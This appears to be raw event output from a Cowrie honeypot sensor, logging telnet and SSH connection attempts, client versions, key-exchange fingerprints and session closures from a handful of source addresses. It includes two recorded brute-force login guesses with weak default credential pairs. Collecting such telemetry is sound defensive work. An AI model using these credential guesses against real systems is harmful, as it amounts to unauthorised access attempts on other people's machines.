{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":34232,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dac40fc9d6a","protocol":"telnet","message":"New connection: 41.76.108.55:34232 (159.203.135.109:23) [session: 8dac40fc9d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:18.397988Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"346a1a6ae8de","protocol":"telnet","message":"New connection: 41.76.108.55:39898 (159.203.135.109:23) [session: 346a1a6ae8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:19.653645Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35674,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c585800f415","protocol":"telnet","message":"New connection: 41.76.108.55:35674 (159.203.135.109:23) [session: 3c585800f415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:19.753993Z"}
{"eventid":"cowrie.session.closed","duration":31.099910974502563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:20.155480Z","src_ip":"15.204.204.191","session":"08c34f26ac01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51566,"dst_ip":"159.203.135.109","dst_port":22,"session":"807e4db0c74d","protocol":"ssh","message":"New connection: 122.168.114.167:51566 (159.203.135.109:22) [session: 807e4db0c74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:20.640544Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":35368,"dst_ip":"10.17.0.5","dst_port":22,"session":"77a1ee46a244","protocol":"ssh","message":"New connection: 106.75.222.164:35368 (10.17.0.5:22) [session: 77a1ee46a244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:23.053958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:23.059423Z","src_ip":"106.75.222.164","session":"77a1ee46a244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.643900156021118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:23.212763Z","src_ip":"41.76.108.55","session":"bfe546fe9e69","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:23.268473Z","src_ip":"122.168.114.167","session":"807e4db0c74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:23.272451Z","src_ip":"122.168.114.167","session":"807e4db0c74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:23.312618Z","src_ip":"106.75.222.164","session":"77a1ee46a244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.880525588989258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:24.136688Z","src_ip":"15.204.204.191","session":"11a09902a22b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59544,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db5c1620b90","protocol":"telnet","message":"New connection: 41.76.108.55:59544 (159.203.135.109:23) [session: 5db5c1620b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:24.538836Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd","message":"login attempt [administrator/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:24.812636Z","src_ip":"106.75.222.164","session":"77a1ee46a244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":33368,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ac6fb95947f","protocol":"telnet","message":"New connection: 15.204.204.191:33368 (10.17.0.5:23) [session: 1ac6fb95947f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:25.170804Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":38768,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bea09c9ad2c","protocol":"telnet","message":"New connection: 41.76.108.55:38768 (159.203.135.109:23) [session: 0bea09c9ad2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:26.444731Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39324,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b9025fe8061","protocol":"telnet","message":"New connection: 41.76.108.55:39324 (159.203.135.109:23) [session: 9b9025fe8061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:26.601261Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2b652e534b8","protocol":"telnet","message":"New connection: 41.76.108.55:40228 (159.203.135.109:23) [session: a2b652e534b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:26.784345Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":46574,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1d9867f2e02","protocol":"telnet","message":"New connection: 41.76.108.55:46574 (159.203.135.109:23) [session: c1d9867f2e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:28.324634Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":33372,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9299c061d1","protocol":"telnet","message":"New connection: 15.204.204.191:33372 (10.17.0.5:23) [session: 1d9299c061d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:28.636562Z"}
{"eventid":"cowrie.session.closed","duration":30.371110439300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:29.084345Z","src_ip":"15.204.204.191","session":"55b532495810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68354058265686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:29.180559Z","src_ip":"41.76.108.55","session":"6ddb80ffff59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42320,"dst_ip":"159.203.135.109","dst_port":23,"session":"b18f22f5ca03","protocol":"telnet","message":"New connection: 41.76.108.55:42320 (159.203.135.109:23) [session: b18f22f5ca03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:29.300235Z"}
{"eventid":"cowrie.session.closed","duration":30.85057020187378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:30.045953Z","src_ip":"15.204.204.191","session":"776470ae7423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54182,"dst_ip":"159.203.135.109","dst_port":23,"session":"26327a682848","protocol":"telnet","message":"New connection: 41.76.108.55:54182 (159.203.135.109:23) [session: 26327a682848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:30.065067Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:30.097393Z","src_ip":"122.168.114.167","session":"807e4db0c74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.33077883720398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:30.222580Z","src_ip":"41.76.108.55","session":"cf485e03ff9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":33378,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f5045659ff","protocol":"telnet","message":"New connection: 15.204.204.191:33378 (10.17.0.5:23) [session: 03f5045659ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:30.249358Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":33390,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f77ddea723c","protocol":"telnet","message":"New connection: 15.204.204.191:33390 (10.17.0.5:23) [session: 3f77ddea723c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:30.804913Z"}
{"eventid":"cowrie.session.closed","duration":31.187567949295044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:31.124808Z","src_ip":"41.76.108.55","session":"573857d8738e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":34438,"dst_ip":"159.203.135.109","dst_port":23,"session":"89f53f705c3d","protocol":"telnet","message":"New connection: 41.76.108.55:34438 (159.203.135.109:23) [session: 89f53f705c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:31.945934Z"}
{"eventid":"cowrie.session.closed","duration":31.658568620681763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:31.955396Z","src_ip":"15.204.204.191","session":"ee517d8037ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41426,"dst_ip":"10.17.0.5","dst_port":23,"session":"def1eeed0eee","protocol":"telnet","message":"New connection: 15.204.204.191:41426 (10.17.0.5:23) [session: def1eeed0eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:32.611854Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":38266,"dst_ip":"159.203.135.109","dst_port":23,"session":"501c7000e762","protocol":"telnet","message":"New connection: 41.76.108.55:38266 (159.203.135.109:23) [session: 501c7000e762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:32.859699Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41438,"dst_ip":"10.17.0.5","dst_port":23,"session":"75ee48177e8f","protocol":"telnet","message":"New connection: 15.204.204.191:41438 (10.17.0.5:23) [session: 75ee48177e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:32.868198Z"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:33.206833Z","src_ip":"122.168.114.167","session":"807e4db0c74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88637137413025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:34.028960Z","src_ip":"15.204.204.191","session":"634aff842bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8621084690094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:34.273533Z","src_ip":"41.76.108.55","session":"370423a969f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":46270,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b28726ea10c","protocol":"telnet","message":"New connection: 41.76.108.55:46270 (159.203.135.109:23) [session: 9b28726ea10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:34.828333Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":46906,"dst_ip":"159.203.135.109","dst_port":23,"session":"31854b363ac7","protocol":"telnet","message":"New connection: 41.76.108.55:46906 (159.203.135.109:23) [session: 31854b363ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:34.955895Z"}
{"eventid":"cowrie.session.closed","duration":30.70091485977173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:35.136113Z","src_ip":"41.76.108.55","session":"d5610ac194e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30648136138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:35.140110Z","src_ip":"41.76.108.55","session":"07c793a33512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405370235443115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:35.229773Z","src_ip":"41.76.108.55","session":"abc50a562263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41440,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a127d87cb81","protocol":"telnet","message":"New connection: 15.204.204.191:41440 (10.17.0.5:23) [session: 1a127d87cb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:36.171462Z"}
{"eventid":"cowrie.session.closed","duration":31.064203023910522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:36.211103Z","src_ip":"15.204.204.191","session":"5a1b749719c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41444,"dst_ip":"10.17.0.5","dst_port":23,"session":"b625857360a3","protocol":"telnet","message":"New connection: 15.204.204.191:41444 (10.17.0.5:23) [session: b625857360a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:36.216449Z"}
{"eventid":"cowrie.session.closed","duration":31.185996770858765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:36.298577Z","src_ip":"41.76.108.55","session":"160f4e6e4f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.469623565673828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:37.084942Z","src_ip":"15.204.204.191","session":"facb0c8eba47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41454,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9462eed24d1","protocol":"telnet","message":"New connection: 15.204.204.191:41454 (10.17.0.5:23) [session: f9462eed24d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:37.486162Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":41466,"dst_ip":"10.17.0.5","dst_port":23,"session":"08241a820a0c","protocol":"telnet","message":"New connection: 15.204.204.191:41466 (10.17.0.5:23) [session: 08241a820a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:37.672967Z"}
{"eventid":"cowrie.session.closed","duration":30.421879768371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:40.150627Z","src_ip":"41.76.108.55","session":"7009dc6c0de7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821322441101074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:40.652058Z","src_ip":"41.76.108.55","session":"62ff9ec2a608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47192,"dst_ip":"159.203.135.109","dst_port":23,"session":"772bf8686218","protocol":"telnet","message":"New connection: 41.76.108.55:47192 (159.203.135.109:23) [session: 772bf8686218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:41.620743Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50252,"dst_ip":"159.203.135.109","dst_port":23,"session":"68dbe003ef77","protocol":"telnet","message":"New connection: 41.76.108.55:50252 (159.203.135.109:23) [session: 68dbe003ef77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:42.400295Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36540,"dst_ip":"10.17.0.5","dst_port":23,"session":"454725ddcfde","protocol":"telnet","message":"New connection: 15.204.204.191:36540 (10.17.0.5:23) [session: 454725ddcfde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:42.657344Z"}
{"eventid":"cowrie.session.closed","duration":30.91756796836853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:43.198699Z","src_ip":"41.76.108.55","session":"cd0ca8dc1412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93966007232666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:44.608654Z","src_ip":"41.76.108.55","session":"fe647ed4cdcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23547077178955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:45.078745Z","src_ip":"15.204.204.191","session":"b5b337206b85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36544,"dst_ip":"10.17.0.5","dst_port":23,"session":"b189d87edd57","protocol":"telnet","message":"New connection: 15.204.204.191:36544 (10.17.0.5:23) [session: b189d87edd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:45.124665Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.163.193.159","src_port":33106,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f89f49ba944","protocol":"telnet","message":"New connection: 198.163.193.159:33106 (159.203.135.109:23) [session: 8f89f49ba944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:45.319036Z"}
{"eventid":"cowrie.session.closed","duration":31.460216283798218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:45.341502Z","src_ip":"41.76.108.55","session":"e01f7ad6724d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36550,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32e5d184df5","protocol":"telnet","message":"New connection: 15.204.204.191:36550 (10.17.0.5:23) [session: e32e5d184df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:45.775766Z"}
{"eventid":"cowrie.session.closed","duration":30.533349990844727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:46.042596Z","src_ip":"15.204.204.191","session":"b445aea13b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846465349197388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:46.136605Z","src_ip":"41.76.108.55","session":"2d98d02212b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56884264945984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:46.156772Z","src_ip":"41.76.108.55","session":"d68934c335fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40050,"dst_ip":"159.203.135.109","dst_port":23,"session":"873fe02f6662","protocol":"telnet","message":"New connection: 41.76.108.55:40050 (159.203.135.109:23) [session: 873fe02f6662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:46.567323Z"}
{"eventid":"cowrie.session.closed","duration":30.593374967575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:47.024500Z","src_ip":"15.204.204.191","session":"770d480970f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36566,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fb8d92f1cff","protocol":"telnet","message":"New connection: 15.204.204.191:36566 (10.17.0.5:23) [session: 7fb8d92f1cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:47.029879Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36570,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d75c8af444","protocol":"telnet","message":"New connection: 15.204.204.191:36570 (10.17.0.5:23) [session: a7d75c8af444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:47.142102Z"}
{"eventid":"cowrie.session.closed","duration":30.353069305419922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:47.193727Z","src_ip":"41.76.108.55","session":"03222c6141a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcdc0ffa6832","protocol":"telnet","message":"New connection: 15.204.204.191:36586 (10.17.0.5:23) [session: dcdc0ffa6832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:47.300328Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45830,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6728d6d6fd0","protocol":"telnet","message":"New connection: 41.76.108.55:45830 (159.203.135.109:23) [session: d6728d6d6fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:07:47.813778Z"}
